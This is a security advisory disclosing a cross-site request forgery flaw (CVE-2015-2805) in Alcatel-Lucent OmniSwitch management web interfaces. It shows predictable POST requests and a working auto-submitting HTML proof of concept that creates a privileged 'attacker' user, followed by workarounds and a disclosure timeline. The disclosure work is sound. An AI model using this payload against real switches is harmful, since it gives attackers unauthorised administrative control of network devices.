Alcatel-Lucent OmniSwitch – Cross-Site Request Forgery
Advisory: Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery During a penetration test, RedTeam Pentesting discovered a vulnerability in the management web interface of an Alcatel-Lucent OmniSwitch 6450. The management web interface has no protection against cross-site request forgery attacks. This allows specially crafted web pages to change the switch configuration and create users, if an administrator accesses the website while being authenticated in the management web interface. Details ======= Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400, 6855, 6900, 10K, 6860 Affected Versions: All Releases: AOS 6.4.5.R02 AOS 6.4.6.R01 AOS 6.6.4.R01 AOS 6.6.5.R02 AOS 7.3.2.R01 AOS 7.3.3.R01 AOS 7.3.4.R01 AOS 8.1.1.R01 Fixed Versions: - Vulnerability Type: Cross-site request forgery Security Risk: medium Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004 Advisory Status: published CVE: CVE-2015-2805 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805 Introduction ============ "The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable LAN Switches are the latest value stackable switches in the OmniSwitch family of products. The OmniSwitch 6450 was specifically built for versatility offering optional upgrade paths for 10 Gigabit stacking, 10 Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and Metro Ethernet services." (from the vendor's homepage) More Details ============ The management web interface of the OmniSwitch 6450 can be accessed using a web browser via HTTP. The web interface allows creating new user accounts, in this case an HTTP request like the following is sent to the switch: POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1 Host: 192.0.2.1 [...] Cookie: session=sess_15739 Content-Type: application/x-www-form-urlencoded Content-Length: 214 EmWeb_ns:mip:2.T1:I1=attacker &EmWeb_ns:mip:244.T1:O1=secret &EmWeb_ns:mip:246.T1:O2=-1 &EmWeb_ns:mip:248.T1:O3= &EmWeb_ns:mip:249.T1:O4=1 &EmWeb_ns:mip:250.T1:O5=4 This request creates a user "attacker" with the password "secret". All other parametres are static. All POST parametres can be predicted by attackers This means that requests of this form can be prepared by attackers and sent from any web page the user visits in the same browser. If the user is authenticated to the switch, a valid session cookie is included in the request automatically, and the action is performed. In order to activate the new user for the web interface it is necessary to enable the respective access privileges in the user's profile. This can also be done via the web interface. Then the HTTP POST request looks like the following: POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1 Host: 192.0.2.1 [...] Cookie: session=sess_15739 Content-Type: application/x-www-form-urlencoded Content-Length: 167 EmWeb_ns:mip:2.T1:I1=attacker &EmWeb_ns:mip:4.T1:O1= &EmWeb_ns:mip:5.T1:O2= &EmWeb_ns:mip:6.T1:O3=4294967295 &EmWeb_ns:mip:7.T1:O4=4294967295 This request sets all access privileges for the user "attacker" and is again completely predictable. Proof of Concept ================ Visiting the following HTML page will create a new user via the switch's management web interface, if the user is authenticated at the switch: ------------------------------------------------------------------------ <html> <head> <title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title> </head> <body> <form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html" method="POST" id="CSRF" style="visibility:hidden"> <input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" /> </form> <script> document.getElementById("CSRF").submit(); </script> </body> </html> ------------------------------------------------------------------------ Workaround ========== Disable the web interface by executing the following commands: AOS6: no ip service http no ip service secure-http AOS 7/8: ip service http admin-state disable If this is not possible, use a dedicated browser or browser profile for managing the switch via the web interface. Fix === Upgrade the firmware to a fixed version, according to the vendor the fixed versions will be available at the end of July 2015. Security Risk ============= If attackers trick a logged-in administrator to visit an attacker-controlled web page, the attacker can perform actions and reconfigure the switch. In this situation an attacker can create an additional user account on the switch for future access. While a successful attack results in full access to the switch, the attack is hard to exploit because attackers need to know the IP address of the switch and get an administrative user to access an attacker-controlled web page. The vulnerability is therefore rated as a medium risk. Timeline ======== 2015-03-16 Vulnerability identified 2015-03-25 Customer approves disclosure to vendor 2015-03-26 CVE number requested 2015-03-31 CVE number assigned 2015-04-01 Vendor notified 2015-04-02 Vendor acknowledged receipt of advisories 2015-04-08 Requested status update from vendor, vendor is investigating 2015-04-29 Requested status update from vendor, vendor is still investigating 2015-05-22 Requested status update from vendor 2015-05-27 Vendor is working on the issue 2015-06-05 Vendor notified customers 2015-06-08 Vendor provided details about affected versions 2015-06-10 Advisory released RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen |